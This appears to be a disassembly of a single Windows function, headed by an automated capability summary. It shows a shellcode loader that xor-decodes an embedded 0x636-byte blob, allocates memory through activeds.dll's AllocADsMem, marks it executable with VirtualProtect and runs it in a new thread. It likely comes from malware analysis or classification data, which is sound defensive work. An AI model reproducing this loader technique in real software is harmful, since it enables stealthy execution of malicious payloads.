Function at 0x403fb0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x64c]
mov esi, 0x406068
push ebx
lea ebx, [ebp - 0x64e]
push ecx
sub esp, 0x688
call sym.___main
mov ecx, ebx
mov eax, dword [0x406068]
mov edx, dword [0x40669a]
mov dword [ebp - 0x664], 0
sub ecx, edi
sub esi, ecx
add ecx, 0x636
mov dword [ebp - 0x64e], eax
mov eax, 0x5076
mov dword [ebp - 0x1c], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x651], ax
mov ecx, 1
mov esi, 0x88888889
mov dword [ebp - 0x65d], 0xae612cf6
xor byte [ebp - 0x64e], 0xf6
mov dword [ebp - 0x659], 0xb03b3c78
mov dword [ebp - 0x655], 0xaaf86bd0
mov byte [ebp - 0x64f], 0xa5
mov eax, ecx
mov edi, ecx
mul esi
shr edx, 3
mov eax, edx
shl eax, 4
sub eax, edx
sub edi, eax
movzx edx, byte [ebp + edi - 0x65d]
lea edi, [ecx + 1]
xor byte [ebx + ecx], dl
mov eax, edi
mul esi
shr edx, 3
mov eax, edx
shl eax, 4
sub eax, edx
sub edi, eax
movzx edx, byte [ebp + edi - 0x65d]
lea edi, [ecx + 2]
xor byte [ebx + ecx + 1], dl
mov eax, edi
mul esi
shr edx, 3
mov eax, edx
shl eax, 4
sub eax, edx
sub edi, eax
movzx edx, byte [ebp + edi - 0x65d]
lea edi, [ecx + 3]
xor byte [ebx + ecx + 2], dl
mov eax, edi
mul esi
shr edx, 3
mov eax, edx
shl eax, 4
sub eax, edx
sub edi, eax
movzx edx, byte [ebp + edi - 0x65d]
lea edi, [ecx + 4]
xor byte [ebx + ecx + 3], dl
mov eax, edi
mul esi
shr edx, 3
mov eax, edx
shl eax, 4
sub eax, edx
sub edi, eax
movzx edx, byte [ebp + edi - 0x65d]
lea edi, [ecx + 5]
xor byte [ebx + ecx + 4], dl
mov eax, edi
mul esi
shr edx, 3
mov eax, edx
shl eax, 4
sub eax, edx
sub edi, eax
movzx edx, byte [ebp + edi - 0x65d]
lea edi, [ecx + 6]
xor byte [ebx + ecx + 5], dl
mov eax, edi
mul esi
shr edx, 3
mov eax, edx
shl eax, 4
sub eax, edx
sub edi, eax
movzx edx, byte [ebp + edi - 0x65d]
xor byte [ebx + ecx + 6], dl
add ecx, 7
cmp ecx, 0x636
jne 0x40404e
mov dword [esp], str.activeds.dll
call sym._LoadLibraryA_4
sub esp, 4
mov esi, eax
mov dword [esp + 4], str.AllocADsMem
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov edi, eax
mov dword [esp], esi
mov dword [esp + 4], str.FreeADsMem
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x670], eax
mov dword [esp], 0x636
call edi
mov ecx, dword [ebx]
mov edx, eax
lea edi, [edx + 4]
mov dword [eax], ecx
mov ecx, edx
mov eax, dword [ebx + 0x632]
and edi, 0xfffffffc
sub ecx, edi
mov dword [edx + 0x632], eax
sub ebx, ecx
add ecx, 0x636
mov esi, ebx
shr ecx, 2
lea ebx, [ebp - 0x664]
rep movsd dword es:[edi], dword [esi]
mov dword [esp], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x636
mov dword [ebp - 0x66c], edx
call sub.KERNEL32.dll_VirtualProtect
mov edx, dword [ebp - 0x66c]
sub esp, 0x10
test eax, eax
je 0x404227
mov dword [esp + 8], edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
mov edx, dword [ebp - 0x66c]
push eax
push eax
mov eax, dword [ebp - 0x664]
mov dword [esp + 0xc], ebx
mov dword [esp], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x636
mov dword [ebp - 0x66c], edx
call sub.KERNEL32.dll_VirtualProtect
mov ecx, dword [ebp - 0x66c]
mov esi, dword [ebp - 0x670]
sub esp, 0x10
mov dword [esp], ecx
call esi
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret